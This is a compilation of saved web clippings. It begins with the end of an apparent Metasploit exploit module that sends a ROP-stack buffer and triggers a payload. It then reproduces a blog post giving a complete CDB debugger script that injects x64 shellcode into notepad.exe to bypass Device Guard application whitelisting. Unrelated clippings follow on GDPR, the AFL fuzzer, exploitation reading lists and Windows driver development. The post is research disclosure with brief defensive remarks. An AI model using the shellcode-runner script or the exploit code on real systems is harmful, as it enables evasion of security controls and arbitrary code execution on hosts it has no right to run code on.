                    if mytarget['RopStack']
    
[/code]  
271|

[code]

                            buf << mytarget['RopStack'].map { |e|
    
[/code]  
272|

[code]

                                    if e == 0xcccccccc
[/code]  
273|

[code]

                                            rand_text(4).unpack('V').first
    
[/code]  
274|

[code]

                                    else
[/code]  
275|

[code]

                                            e
    
[/code]  
276|

[code]

                                    end
[/code]  
277|

[code]

                                    e
    
[/code]  
278|

[code]

                            }.pack('V*')
    
[/code]  
279|

[code]

                    end
[/code]  
280|

[code]

                    buf << "\r\n"
[/code]  
281|

[/code]

[code]

282|

[code]

                    sock.put(buf)
    
[/code]  
283|

[code]

                    disconnect
    
[/code]  
284|

[/code]

[code]

285|

[code]

                    print_status("Your payload should have executed now...")
    
[/code]  
286|

[code]

                    handler
    
[/code]  
287|

[code]

            end
[/code]  
288|

[/code]

[code]

289|

[code]

    end
[/code]

# Exploit Monday: Bypassing Application Whitelisting by using WinDbg/CDB as a
Shellcode Runner

**Created:**| _8/15/2016 3:30:19 PM_  
---|---  
**Updated:**| _8/15/2016 3:30:19 PM_  
**Author:**| __  
**Tags:**| __  
  

  

###  Bypassing Application Whitelisting by using WinDbg/CDB as a Shellcode
Runner

Imagine you’ve gained access to an extremely locked down Windows 10 host
running Device Guard. The Device Guard policy is such that all PEs \(exe, dll,
sys, etc.\) must be signed by Microsoft. No other signed code is authorized.
Additionally, a side effect of Device Guard being enabled is that PowerShell
will be locked down in constrained language mode so arbitrary code execution
is ruled out in the context of PowerShell \(unless you have a bypass for that,
of course\). You have a shellcode payload you’d like to execute. What options
do you have?

  

You’re an admin. You can just disable Device Guard, right? Nope. The Device
Guard policy is signed and you don’t have access to the code signing cert to
sign and plant a more permissive policy. To those who want to challenge this
claim, please go forth and do some Device Guard research and find a bypass.
For us mere mortals though, how can we execute our shellcode considering we
can’t just disable Device Guard?

  

The obvious solution dawned on me recently: I simply asked myself, “what is a
tool that’s signed by Microsoft that will execute code, preferably in memory?”
WinDbg/CDB of course\! I had used WinDbg a million times to execute shellcode
for dynamic malware analysis but I never considered using it as a generic code
execution method for malware in a signed process. Now, in order to execute a
shellcode buffer, there are generally three requirements to get it to execute
in any process:

  

1\) You need to be able to allocate at least RX memory for it. In reality,
you’ll need RWX memory though if the shellcode is self-modifying – i.e. any
encoded Metasploit shellcode.

2\) You need a mechanism to copy the shellcode buffer to the allocated memory.

3\) You need a way to direct the flow of execution of a thread to the
shellcode buffer.

  

Fortunately, WinDbg and CDB have commands to achieve all of this.

  

1\) .dvalloc \[Size of shellcode\]

  

Allocates a page-aligned RWX buffer of the size you specify.

  

2\) eb \[Shellcode address\] \[Shellcode byte\]

  

Writes a byte to the address specified.

  

3\) r @$ip=\[Shellcode address\]

  

Points the instruction pointer to the address specified. Note: $ip is a
generic, pseudo register that refers to EIP, RIP, or PC depending upon the
architecture \(x86, amd64, and ARM, respectively\).

  

With those fundamental components, we have pretty much everything we need to
implement a WinDbg or CDB shellcode runner. The following proof-of-concept
example will launch 64-bit shellcode \(pops calc\) in notepad.exe. To get this
running, just save the text to a file \(I named it x64\_calc.wds\) and launch
it with the following command: cdb.exe -cf x64\_calc.wds -o notepad.exe

  

$$ Save this to a file - e.g. x64\_calc.wds

$$ Example: launch this shellcode in a host notepad.exe process.

$$ cdb.exe -cf x64\_calc.wds -o notepad.exe

  

$$ Allocate 272 bytes for the shellcode buffer

$$ Save the address of the resulting RWX in the pseudo $t0 register

.foreach /pS 5 \( register \{ .dvalloc 272 \} \) \{ r @$t0 = register \}

  

$$ Copy each individual shellcode byte to the allocated RWX buffer

$$ Note: The \`eq\` command could be used to save space, if desired.

$$ Note: .readmem can be used to read a shellcode buffer too but

$$ shellcode on disk will be subject to AV scanning.

;eb @$t0+00 FC;eb @$t0+01 48;eb @$t0+02 83;eb @$t0+03 E4

;eb @$t0+04 F0;eb @$t0+05 E8;eb @$t0+06 C0;eb @$t0+07 00

;eb @$t0+08 00;eb @$t0+09 00;eb @$t0+0A 41;eb @$t0+0B 51

;eb @$t0+0C 41;eb @$t0+0D 50;eb @$t0+0E 52;eb @$t0+0F 51

;eb @$t0+10 56;eb @$t0+11 48;eb @$t0+12 31;eb @$t0+13 D2

;eb @$t0+14 65;eb @$t0+15 48;eb @$t0+16 8B;eb @$t0+17 52

;eb @$t0+18 60;eb @$t0+19 48;eb @$t0+1A 8B;eb @$t0+1B 52

;eb @$t0+1C 18;eb @$t0+1D 48;eb @$t0+1E 8B;eb @$t0+1F 52

;eb @$t0+20 20;eb @$t0+21 48;eb @$t0+22 8B;eb @$t0+23 72

;eb @$t0+24 50;eb @$t0+25 48;eb @$t0+26 0F;eb @$t0+27 B7

;eb @$t0+28 4A;eb @$t0+29 4A;eb @$t0+2A 4D;eb @$t0+2B 31

;eb @$t0+2C C9;eb @$t0+2D 48;eb @$t0+2E 31;eb @$t0+2F C0

;eb @$t0+30 AC;eb @$t0+31 3C;eb @$t0+32 61;eb @$t0+33 7C

;eb @$t0+34 02;eb @$t0+35 2C;eb @$t0+36 20;eb @$t0+37 41

;eb @$t0+38 C1;eb @$t0+39 C9;eb @$t0+3A 0D;eb @$t0+3B 41

;eb @$t0+3C 01;eb @$t0+3D C1;eb @$t0+3E E2;eb @$t0+3F ED

;eb @$t0+40 52;eb @$t0+41 41;eb @$t0+42 51;eb @$t0+43 48

;eb @$t0+44 8B;eb @$t0+45 52;eb @$t0+46 20;eb @$t0+47 8B

;eb @$t0+48 42;eb @$t0+49 3C;eb @$t0+4A 48;eb @$t0+4B 01

;eb @$t0+4C D0;eb @$t0+4D 8B;eb @$t0+4E 80;eb @$t0+4F 88

;eb @$t0+50 00;eb @$t0+51 00;eb @$t0+52 00;eb @$t0+53 48

;eb @$t0+54 85;eb @$t0+55 C0;eb @$t0+56 74;eb @$t0+57 67

;eb @$t0+58 48;eb @$t0+59 01;eb @$t0+5A D0;eb @$t0+5B 50

;eb @$t0+5C 8B;eb @$t0+5D 48;eb @$t0+5E 18;eb @$t0+5F 44

;eb @$t0+60 8B;eb @$t0+61 40;eb @$t0+62 20;eb @$t0+63 49

;eb @$t0+64 01;eb @$t0+65 D0;eb @$t0+66 E3;eb @$t0+67 56

;eb @$t0+68 48;eb @$t0+69 FF;eb @$t0+6A C9;eb @$t0+6B 41

;eb @$t0+6C 8B;eb @$t0+6D 34;eb @$t0+6E 88;eb @$t0+6F 48

;eb @$t0+70 01;eb @$t0+71 D6;eb @$t0+72 4D;eb @$t0+73 31

;eb @$t0+74 C9;eb @$t0+75 48;eb @$t0+76 31;eb @$t0+77 C0

;eb @$t0+78 AC;eb @$t0+79 41;eb @$t0+7A C1;eb @$t0+7B C9

;eb @$t0+7C 0D;eb @$t0+7D 41;eb @$t0+7E 01;eb @$t0+7F C1

;eb @$t0+80 38;eb @$t0+81 E0;eb @$t0+82 75;eb @$t0+83 F1

;eb @$t0+84 4C;eb @$t0+85 03;eb @$t0+86 4C;eb @$t0+87 24

;eb @$t0+88 08;eb @$t0+89 45;eb @$t0+8A 39;eb @$t0+8B D1

;eb @$t0+8C 75;eb @$t0+8D D8;eb @$t0+8E 58;eb @$t0+8F 44

;eb @$t0+90 8B;eb @$t0+91 40;eb @$t0+92 24;eb @$t0+93 49

;eb @$t0+94 01;eb @$t0+95 D0;eb @$t0+96 66;eb @$t0+97 41

;eb @$t0+98 8B;eb @$t0+99 0C;eb @$t0+9A 48;eb @$t0+9B 44

;eb @$t0+9C 8B;eb @$t0+9D 40;eb @$t0+9E 1C;eb @$t0+9F 49

;eb @$t0+A0 01;eb @$t0+A1 D0;eb @$t0+A2 41;eb @$t0+A3 8B

;eb @$t0+A4 04;eb @$t0+A5 88;eb @$t0+A6 48;eb @$t0+A7 01

;eb @$t0+A8 D0;eb @$t0+A9 41;eb @$t0+AA 58;eb @$t0+AB 41

;eb @$t0+AC 58;eb @$t0+AD 5E;eb @$t0+AE 59;eb @$t0+AF 5A

;eb @$t0+B0 41;eb @$t0+B1 58;eb @$t0+B2 41;eb @$t0+B3 59

;eb @$t0+B4 41;eb @$t0+B5 5A;eb @$t0+B6 48;eb @$t0+B7 83

;eb @$t0+B8 EC;eb @$t0+B9 20;eb @$t0+BA 41;eb @$t0+BB 52

;eb @$t0+BC FF;eb @$t0+BD E0;eb @$t0+BE 58;eb @$t0+BF 41

;eb @$t0+C0 59;eb @$t0+C1 5A;eb @$t0+C2 48;eb @$t0+C3 8B

;eb @$t0+C4 12;eb @$t0+C5 E9;eb @$t0+C6 57;eb @$t0+C7 FF

;eb @$t0+C8 FF;eb @$t0+C9 FF;eb @$t0+CA 5D;eb @$t0+CB 48

;eb @$t0+CC BA;eb @$t0+CD 01;eb @$t0+CE 00;eb @$t0+CF 00

;eb @$t0+D0 00;eb @$t0+D1 00;eb @$t0+D2 00;eb @$t0+D3 00

;eb @$t0+D4 00;eb @$t0+D5 48;eb @$t0+D6 8D;eb @$t0+D7 8D

;eb @$t0+D8 01;eb @$t0+D9 01;eb @$t0+DA 00;eb @$t0+DB 00

;eb @$t0+DC 41;eb @$t0+DD BA;eb @$t0+DE 31;eb @$t0+DF 8B

;eb @$t0+E0 6F;eb @$t0+E1 87;eb @$t0+E2 FF;eb @$t0+E3 D5

;eb @$t0+E4 BB;eb @$t0+E5 E0;eb @$t0+E6 1D;eb @$t0+E7 2A

;eb @$t0+E8 0A;eb @$t0+E9 41;eb @$t0+EA BA;eb @$t0+EB A6

;eb @$t0+EC 95;eb @$t0+ED BD;eb @$t0+EE 9D;eb @$t0+EF FF

;eb @$t0+F0 D5;eb @$t0+F1 48;eb @$t0+F2 83;eb @$t0+F3 C4

;eb @$t0+F4 28;eb @$t0+F5 3C;eb @$t0+F6 06;eb @$t0+F7 7C

;eb @$t0+F8 0A;eb @$t0+F9 80;eb @$t0+FA FB;eb @$t0+FB E0

;eb @$t0+FC 75;eb @$t0+FD 05;eb @$t0+FE BB;eb @$t0+FF 47

;eb @$t0+100 13;eb @$t0+101 72;eb @$t0+102 6F;eb @$t0+103 6A

;eb @$t0+104 00;eb @$t0+105 59;eb @$t0+106 41;eb @$t0+107 89

;eb @$t0+108 DA;eb @$t0+109 FF;eb @$t0+10A D5;eb @$t0+10B 63

;eb @$t0+10C 61;eb @$t0+10D 6C;eb @$t0+10E 63;eb @$t0+10F 00

  

$$ Redirect execution to the shellcode buffer

r @$ip=@$t0

  

$$ Continue program execution - i.e. execute the shellcode

g

  

$$ Continue program execution after hitting a breakpoint

$$ upon starting calc.exe. This is specific to this shellcode.

g

  

$$ quit cdb.exe

q

  

I chose to use cdb.exe in the example as it is a command-line debugger whereas
WinDbg is a GUI debugger. Additionally, these debuggers are portable. It
imports DLLs that are all present in System32. So the only files that you
would be dropping on the target system is cdb.exe and the script above - none
of which should be flagged by AV. In reality, the script isn’t even required
on disk. You can just paste the commands in manually if you like.

  

Now, you may be starting to ask yourself, “how could I go about blocking
windbg.exe, cdb.exe, kd.exe etc.?“ You might block the hashes from executing
with AppLocker. Great, but then someone will just run an older version of any
of those programs and it won’t block future versions either. You could block
anything named cdb.exe, windbg.exe, etc. from running. Okay, then the attacker
will just rename it to foo.exe. You could blacklist the certificate used to
sign cdb.exe, windbg.exe, etc. Then you might be blocking other legitimate
Microsoft applications signed with the same certificate. On Windows RT, this
attack was somewhat mitigated by the fact that user-mode code integrity
\(UMCI\) prevented a user from attaching a debugger invasively – what I did in
this example. The ability to enforce this with Device Guard, however, does not
present itself as a configuration feature. At the time of this writing, I
don’t have any realistic preventative defenses but I will certainly be looking
into them as I dig into Device Guard more. As far as detection is concerned,
there ought to be plenty of creative ways to detect this including something
as simple as command-line auditing.

  

  

Anyway, while this may not be the sexiest of ways to execute shellcode, I’d
like to think it’s a decent, generic application whitelisting bypass that will
be difficult in practice to prevent. Enjoy\!

  

# Deciphering the GDPR: What You Need to Know to Prepare Your Organization

**Created:**| _5/9/2017 2:54:48 PM_  
---|---  
**Updated:**| _5/9/2017 2:54:48 PM_  
**Author:**| __  
**Tags:**| _privacy gdpr compliance_  
  

  

# Deciphering the GDPR: What You Need to Know to Prepare Your Organization

The European Union's upcoming privacy regulations are incredibly complex. Here
are four important points to keep in mind.

With the European Union's General Data Protection Regulation \(GDPR\) set to
go into effect in May 2018, global businesses must have a clear understanding
of how the new guidelines will affect how they process and store customer
data. For IT departments and security teams, that means a little "light
reading" in the form of nearly 100 pages of extremely dense text, filled with
the sort of lawyer-speak that makes deciphering clear takeaways next to
impossible.

With the European Union threatening to fine noncompliant organizations up to
€20 million \(almost $22 million\) or 4% of their global annual revenue for
the previous year \(depending on which is higher\), failing to understand the
regulation could sink an organization altogether, or at least have a major
impact on the bottom line. To make your life easier, I'll go through the most
critical articles of the GDPR, explaining what security professionals need to
know, and why.

**Article 16: Right to Rectification  
** In one of the GDPR's shortest articles \(54 words\), the EU states that
citizens are entitled to the "right to rectification." This means that
customers have the right to have inaccurate information about themselves
corrected in a timely fashion. At first this sounds simple, but it becomes
increasingly complex as you factor in third-party vendors that have come into
possession of the data. Complying with this will require additional controls
that allow organizations to either alter or delete data that has already left
the network.

**Article 25: Data Protection by Design and by Default  
** The 25th article of the GDPR starts with one doozy of a sentence:

_Taking into account the state of the art, the cost of implementation and the
nature, scope, context and purposes of processing as well as the risks of
varying likelihood and severity for rights and freedoms of natural persons
posed by the processing, the controller shall, both at the time of the
determination of the means for processing and at the time of the processing
itself, implement appropriate technical and organizational measures, such as
pseudonymization, which are designed to implement data-protection principles,
such as data minimization, in an effective manner and to integrate the
necessary safeguards into the processing in order to meet the requirements of
this Regulation and protect the rights of data subjects._

Essentially, this is a long-winded way of saying that data must be protected
while at rest, in transit, and in use. In some instances, where sensitive
personally identifiable information is being processed, organizations are also
required to put technical measures in place that anonymize the individual in
order to protect his or her privacy.

Article 25 goes on to say that, and that organizations can only process the
portions of the data that are relevant to the analysis being conducted, which
will require companies to provide both "technical and organizational" privacy
assurances. Plus, these security assurances must be applied to data by
default, reducing the possibility that information is leaked or misused.

**Article 30: Records of Processing Activities  
** Article 30 of the GDPR deals with record keeping, specifying how companies
and the third-parties they work with must track the flow of customer data
throughout its life cycle. For security teams, this means that they must
deploy IT solutions that can provide real-time auditing capabilities and
capture granular usage details. These details include: the nature of the
activity \(viewing, editing, printing, and so on\), the user who performed the
activity, the time and location \(IP address\) of the activity, and more.

**\[Check out the two-dayDark Reading Cybersecurity Crash Course at Interop
ITX, May 15 & 16, where Dark Reading editors and some of the industry's top
cybersecurity experts will share the latest data security trends and best
practices.**

Having access to this data is just the start. The purpose of the record
keeping is to have evidence in case of inevitable audits by a "supervisory
authority," whose powers are also defined within the GDPR's text. Who plays
the role of the "supervisory authority" will be determined on a case-by-case
basis, depending on the member states involved. This means that the oversight
bodies will likely have slightly different policies and procedure, further
complicating the situation. My assumption is that none of these bodies will be
shy about using their auditing powers, especially in the first few months, in
order to prove the EU is committed to enforcing the GDPR's regulations.

**Article 46: Transfers Subject to Appropriate Safeguards  
** The final article is the 46th, which is arguably one of the most important
in the GDPR. Article 46 requires organizations to apply the same stringent
data protections, no matter where the information is transferred or stored.
This article is crucial because it addresses the key concern behind the GDPR's
inception — that once European citizen data is transferred outside the EU, it
can become subject to surveillance by nation-states, which has been deemed a
privacy violation by the Commission.

To remain in compliance with this requirement, security teams must look at
security tools that are applied at the data level. This way, as the data
travels, the security precautions remain in place, allowing the organization
to freely share information throughout its international network.

The good news is that we still have over a year before the GDPR takes effect.
As an industry, we still have time to put the necessary measures in place.
Cybersecurity and IT leaders must come together and pool our collective
expertise to determine the optimal strategy for achieving compliance with the
GDPR.

Now, the bad news. Don't expect your CEO to be open to the idea of sacrificing
efficiency for compliance's sake. Instead, IT departments must find ways to
ensure security without stifling collaboration. That being said, I know the
security industry is up for the challenge, and whether the 2018 rollout goes
smoothly or not, I'm confident we'll come out the other side of this in one
piece.

<img src='img/Interop-Banner-Horizontal_INT_ITX_LV17_1703111_End-Of-Article-
Ad_489x90.gif' width='489' height='90' />

**Related Content:**

As the CEO and founder of Seclore, Vishal Gupta has led Seclore from a niche
Indian startup to a global player in the enterprise digital rights management
\(EDRM\) market, with over 8,000 companies in 29 countries using the solutions
every day. Seclore partners with leading ... View Full Bio

More Insights

  

# american fuzzy lop

**Created:**| _12/8/2014 11:44:34 AM_  
---|---  
**Updated:**| _12/8/2014 11:44:34 AM_  
**Author:**| __  
**Tags:**| _Fuzzer_  
  

# american fuzzy lop \(0.88b\)

_American fuzzy lop_ is a security-oriented fuzzer that employs a novel type
of compile-time instrumentation and genetic algorithms to automatically
discover clean, interesting test cases that trigger new internal states in the
targeted binary. This substantially improves the functional coverage for the
fuzzed code. The compact synthesized corpora produced by the tool are also
useful for seeding other, more labor- or resource-intensive testing regimes
down the road.

<img src='img/Temp2_10085.png' />

Compared to other instrumented fuzzers, _afl-fuzz_ is designed to be
practical: it has modest performance overhead, uses a variety of highly
effective fuzzing strategies, requires essentially no configuration, and
seamlessly handles complex, real-world use cases - say, common image parsing
or file compression libraries.

## The "sales pitch"

In a hurry? There are several fairly decent reasons to give _afl-fuzz_ a try:

  * **It is pretty sophisticated.** It's an instrumentation-guided genetic fuzzer capable of synthesizing complex file semantics in a wide range of non-trivial targets, lessening the need for purpose-built, syntax-aware tools. It also comes with a unique crash explorer to make it dead simple to evaluate the impact of crashing bugs. 
  * **It has street smarts.** It is built around a range of carefully researched, high-gain test case preprocessing and fuzzing strategies rarely employed with comparable rigor in other fuzzing frameworks. As a result, it finds real bugs. 
  * **It is fast.** Thanks to its low-level compile-time instrumentation and other optimizations, the tool offers near-native fuzzing speeds against common real-world targets. For example, you can get 2,500+ execs per second per core with libpng. 
  * **It's rock solid.** Compared to other instrumentation- or solver-based fuzzers, it has remarkably few failure modes. It also comes with robust, user-friendly problem detection that guides you through any potential hiccups. 
  * **No tinkering required.** In contrast to most other fuzzers, the tool requires essentially no guesswork or fine-tuning. Even if you wanted to, you will find virtually no knobs to fiddle with and no "fuzzing ratios" to dial in. 
  * **It's chainable to other tools.** The fuzzer generates superior, compact test corpora that can serve as a seed for more specialized, slower, or labor-intensive processes and testing frameworks. 
  * **It sports a hip, retro-style UI.** Just scroll back to the top of the page. Enough said.

Want to try it out? Check out the documentation or grab the source code right
away.

## The bug-o-rama trophy case

The fuzzer is still under active development, and I have not been running it
very systematically or at a scale. Still, based on user reports, it seems to
have netted quite a few notable vulnerabilities and other uniquely interesting
bugs. Some of the "trophies" that I am aware of include:

IJG jpeg 1 | libjpeg-turbo 1 2 | libtiff  
---|---|---  
Mozilla Firefox 1 2 3 4 | Google Chrome 1 | Internet Explorer 1 2  
bash \(post-Shellshock\) 1 2 | GnuTLS 1 | GnuPG 1 2  
OpenSSH 1 2 3 | FLAC audio library 1 | tcpdump 1 2 3 4 5 6  
dpkg 1 | systemd-resolved 1 2 | strings \(+ related tools\) 1 2 3 4 5 6 7  
less / lesspipe 1 2 3 | rcs 1 | OpenBSD pfctl 1  
man & mandoc 1 | libyaml 1 | Info-Zip unzip 1  
procmail 1 | libsndfile 1 2 3 | fwknop  
clang / llvm 1 | mutt 1 |  wavpack 1  
Plus, probably, quite a few other things that weren't attributed to the tool
and that I have no way of knowing about.

## Download & other useful links

Here's a collection of useful links related to _afl-fuzz_ :

The tool is confirmed to work on x86 Linux, OpenBSD, FreeBSD, and NetBSD, both
32- and 64-bit. It should also work on MacOS X and Solaris, although with some
constraints. It supports programs written in C, C++, or Objective C, compiled
with either _gcc_ or _clang_.

Java programs compiled with GCJ can be supported with very little effort. If
you are honestly interested, ping me and I'll help you set it up. For fuzzing
Python, you may want to check out this module from Jakub Wilk.

To send bug reports, feature requests, or chocolate, simply drop a mail to
**lcamtuf@coredump.cx**.

# Utilizing Code Reuse/ROP in PHP Application Exploits

**Created:**| _8/13/2010 11:49:42 AM_  
---|---  
**Updated:**| _8/13/2010 11:49:55 AM_  
**Author:**| __  
**Tags:**| _web-app-sec attacks rop_  
  
<img src='img/Temp2_8794' />

# yeyintminthuhtut/Awesome-Advanced-Windows-Exploitation-References

**Created:**| _5/10/2019 7:55:50 AM_  
---|---  
**Updated:**| _5/10/2019 7:55:50 AM_  
**Author:**| __  
**Tags:**| _bookmark Exploit_  
  

  

List of Awesome Advanced Windows Exploitation References

# Evilcodecave: Device Driver Development for Beginners - Reloaded

**Created:**| _11/13/2010 3:53:05 PM_  
---|---  
**Updated:**| _11/13/2010 3:53:24 PM_  
**Author:**| __  
**Tags:**| _Debugging hardware programming Design_  
  

### Device Driver Development for Beginners - Reloaded

Hi,  
  
By following an good thread on UIC forum, opened by a beginner that wanted to
know how to start with Device Driver Development, I remembered that long time
ago published a similar blog post on that subject.  
  
Now I'm going to Reload and Expand it.  
  
_**Development Tools**_  
  

  1. **WDK/DDK** \- this is the proper Driver Development SDK given by Microsoft, latest edition can be dowloaded HERE
  2. **Visual Studio 2008/2010** \- you can also develop without VS, but I always prefer all the Comforts given by a such advanced IDE, especially in presence of complex device drivers.
  3. **DDKWizard** \- `DDKWizard` is a so-called project creation wizard \(for VisualStudio\) that allows you to create projects that use the **`DDKBUILD` scripts from OSR** \(also available in the download section from this site\). The wizard will give you several options to configure your project prior to the creation. You can download it HERE
  4. **VisualAssist** \- \(Optional Tool\) Visual Assist X provides productivity enhancements that help you read, write, navigate and refactor code with blazing speed in all Microsoft IDEs. You can Try/Buy it HERE
  5. **VisualDDK** \- Develop and Debug drivers directly from VS, enjoy debugging your driver directly from Visual Studio, speeding up debugging **~18x** for VMWare and **~48x** for VirtualBox. Download and Step by Step Quick Start Guide HERE
  6. **Virtual Machine** \- You need a Virtual Machine to perform efficient Driver Debugging, best options are VMWare or VirtualBox.

_**Building a Driver Development Environment**_  
  
As you can see, a good comfortable Driver Development station is composed by a
good amount of components, so we need an installation order.  

  1. Install your IDE - VisualStudio2008 or VisualStudio2010
  2. Install WDK package
  3. Install DDKWizard
  4. Download and place \( usually into C:\WinDDK \) **ddkbuild.cmd**
  5. By following DDKWizard pdf you will be driven to add an new Envirnment Variable directly releated to the OS version in which you are developing and successively add a reference of ddkbuild.cmd into VS IDE. DDWizard Manual is very well written.
  6. After finishing DDKWizard integration you can test if your environment is correctly installed, by compilig your first driver. Steps are easy open VS and select DDKWizard templare \(not EmptyDriver\), you will see the skeleton of a Driver, all what you have to do is to Build Solution and Verify if No Compiling Errors occur, your station is correctly installed.
  7. Install VirtualMachine
  8. Integrate Debugging help of VisualDDK by following step by step quick start guide
  9. Install Visual Assist \(this can be done in every moment after VS Installation\)

_**Additional Tools**_  

  * **DeviceTree** \- This utility has two views: \(a\) one view that will show you the entire PnP enumeration tree of device objects, including relationships among objects and all the device's reported PnP characteristics, and \(b\) a second view that shows you the device objects created, sorted by driver name. There is nothing like this utility available anywhere else. Download it HERE
  * **IrpTracker** \- IrpTracker allows you to monitor all I/O request packets \(IRPs\) on a system without the use of any filter drivers and with no references to any device objects, leaving the PnP system entirely undisturbed. In addition to being able to see the path the IRP takes down the driver stack and its ultimate completion status, a detailed view is available that allows you to see the entire contents of static portion of the IRP and an interpreted view of the current and previous stack locations. Download it HERE
  * **DebugMon** \- Displays DbgPrint messages generated by any driver in the system \(or the OS itself\) in the application window. Can be used either in local mode or can send the DbgPrint messages to another system via TCP/IP. Download it HERE
  * **DriverLoader** \- This GUI-based tool will make all the appropriate registry entries for your driver, and even allow you to start your driver without rebooting. It's even got a help file, for goodness sakes\! If you write drivers, this is another one of those utilities that's a must have for your tool chest. x86 architecture. Dowload it HERE

Now you have a full working **Develop and Debug Station**.  
  
As you should imagine, dealing with driver development implies working with at
Kernel Mode, a task pretty challenging, delicate and complex. A badly written
driver lead to **OS Crash** and/or dangerous bugs, just think about a driver
used in **mission-critical applications** like Surgery, a bug or a crash could
lead to extremely big dangers. The driver need to be:  

  * **Bug Free**
  * **Fault Tolerant**
  * **Ready to Endure all Stress Situations**

This could be done, only by the driver coder, with a large knowledge of
following fields:  

  * **Hardware Architecture**
  * **Operating System Architecture**
  * **Kernel and User Mode Architecture**
  * **Rock Solid C language knowledge**
  * **Debugging Ability**

Here i'm going to enumerate necessary Documentation/Book/Etc. necessary to
acheive a \*good and solid\* background and advanced knowledge about driver
coding.  
**  
**  
**Microsoft WDK Page** :
http://www.microsoft.com/whdc/devtools/WDK/default.mspx  
  
Will give you informations about:  
  

  1. **WDM \( Windows Driver Model\)**
  2. **WDF \(Windows Driver Foundation\)**
  3. **IFS Kit \(Installable FileSystem Kit\)**
  4. **Driver Debugging**
  5. **Driver Stress Testing \( DriverVerifier tool \)**

**PC Fundamentals** : http://www.microsoft.com/whdc/system/default.mspx  
  
**Device Fundamentals** : http://www.microsoft.com/whdc/device/default.mspx  
  
This will give you an large view of 'what mean developing a driver' which
components are touched and which aspects you need to know.  
  
It's also obviously necessary to have a **Reference** about kernel mode
involved Functions and Mechanisms, the first best resource is always **MSDN**
, here the starter link to follow MSDN->DDK  
  
  
http://msdn.microsoft.com/en-us/library/ee663300%28v=VS.85%29.aspx  
  
_**How to start Learning**_  
  
As pointed out in the previous blog post, one of the best starting point, that
will give you an on-fly-view of development topics is the Toby Opferman set of
articles:  
  
**Driver Development Part 1: Introduction to Drivers**  
**http://www.codeproject.com/KB/system/driverdev.aspx**  
**Driver Development Part 2: Introduction to Implementing IOCTLs**  
**http://www.codeproject.com/KB/system/driverdev2.aspx**  
**Driver Development Part 3: Introduction to driver contexts**  
**http://www.codeproject.com/KB/system/driverdev3.aspx **  
**Driver Development Part 4: Introduction to device stacks**  
**http://www.codeproject.com/KB/system/driverdev4asp.aspx **  
**Driver Development Part 5: Introduction to the Transport Device Interface**  
**http://www.codeproject.com/KB/system/driverdev5asp.aspx **  
**Driver Development Part 6: Introduction to Display Drivers**  
**http://www.codeproject.com/KB/system/driverdev6asp.aspx **  
  
It's really important to put in evicence MemoryManagement at KernelMode, the
best starting point for these aspects are tutorials written by four-f;  
  
http://www.freewebs.com/four-f/  
  
**Handling IRPs: What Every Driver Writer Needs to Know**  
**http://download.microsoft.com/download/9/c/5/9c5b2167-8017-4bae-9fde-d599bac8184a/IRPs.doc**  
  
  
_**Book Resources**_  
  
Tutorial are a great starting point, but a solid understanding is given by a
set of 'abstracts', emerges the necessity of a good Book Collection:  
  
**Windows NT Device Driver Development \(OSR Classic Reprints\)**  
http://www.amazon.com/Windows-Device-Development-Classic-
Reprints/dp/0976717522/ref=sr\_1\_2?s=gateway&ie=UTF8&qid=1285616242&sr=8-2  
  
Windows®-Internals-Including-Windows-PRO-Developer  
http://www.amazon.com/Windows%C2%AE-Internals-Including-Windows-PRO-
Developer/dp/0735625301/ref=sr\_1\_1?s=gateway&ie=UTF8&qid=1285616160&sr=8-1  
  
**The Windows 2000 device driver book: a guide for programmers**  
http://www.amazon.com/Windows-2000-Device-Driver-Book/dp/0130204315  
  
**Windows NT/2000 Native API Reference**  
http://www.amazon.com/Windows-2000-Native-API-
Reference/dp/1578701996/ref=sr\_1\_1?s=gateway&ie=UTF8&qid=1285699201&sr=8-1  
  
**Undocumented Windows 2000 Secrets**  
http://undocumented.rawol.com/  
  
**Developing Drivers with WDF**  
http://www.microsoft.com/whdc/driver/wdf/wdfbook.mspx  
  
**Windows NT File System Internals, A Developer's Guide**  
http://oreilly.com/catalog/9781565922495  
  
_**Web Resources**_  
  
The first and most important resource about Windows Driver Development is
OSROnline:  
  
**http://www.osronline.com/**  
  
I strongly suggest you to subscribe:  

  1. **The NT Insider**
  2. **NTDEV MailingList**
  3. **NTFSD MailingList**

**NDIS Developer's Reference**  
**http://www.ndis.com/ **  
  
**Information, Articles, and Free Downloads**  
http://www.hollistech.com/resources.htm****  
  
**The Undocumented Functions**  
http://undocumented.ntinternals.net  
  
Blog MSDN  
http://blogs.msdn.com/iliast  
  
**Windows Vista Kernel Structures**  
**http://www.nirsoft.net/kernel\_struct/vista/ **  
  
**Peter Wieland's thoughts on Windows driver development**  
**http://blogs.msdn.com/b/peterwie/**  
  
  
**USB Driver Development**  
**http://blogs.msdn.com/b/usbcoreblog/ **  
  
**Hardware and Driver Developer Blogs**  
http://www.microsoft.com/whdc/resources/blogs.mspx  
  
**Developer Newsgroups  
• microsoft.public.development.device.drivers  
• microsoft.public.win32.programmer.kernel  
• microsoft.public.windbg**  
**  
**  
**KernelmodeInfo Blog**  
**http://www.kernelmode.info/forum/index.php**  
  
**j00ru//vx tech blog Coding, reverse engineering, OS internals Blog**  
**http://j00ru.vexillium.org/**  
**  
**  
**Nynaeve**  
**http://www.nynaeve.net/**  
  
**DumpAnalysis Blog**  
**http://www.dumpanalysis.org/**  
  
  
**Analyze -v Blog**  
**http://analyze-v.com** /  
**  
**  
**Instant Online Crash Dump Analysis**  
**http://www.osronline.com/page.cfm?name=analyze**  
**  
**  
**Winsock Kernel \(WSK\)**  
**http://msdn.microsoft.com/en-us/library/ff571084.aspx**  
  
**Transport Driver Interface \(TDI\)**  
**http://msdn.microsoft.com/en-us/library/ms819740.aspx**  
  
**Network Driver Interface Specification \(NDIS\)**  
**http://blogs.msdn.com/b/ndis/**  
  
**System Internals**  
**http://www.microsoft.com/whdc/system/Sysinternals/default.mspx**  
  
  
Driver development needs too many time patience and experience to be fully
understood, in my opinion the best approach remains LbD \( Learning by Doing
\) so, read, study and develop as many experience you build less BSODs and
"trange behavior" you will obtain :\)  
  
See you to the next post,  
Giuseppe 'Evilcry' Bonfa

# Creating an Active Directory domain with PowerShell DSC

**Created:**| _5/28/2017 11:02:14 AM_  
---|---  
**Updated:**| _5/28/2017 11:02:14 AM_  
**Author:**| __  
**Tags:**| _powershell active directory_  
  

  

# Creating an Active Directory domain with PowerShell DSC

Home / Blog / Creating an Active Directory domain with PowerShell DSC

4sysops - The online community for SysAdmins and DevOps

Adam Bertraminherit Fri, May 26 2017 powershellinherit, powershell
scriptsinherit 0 __ inherit

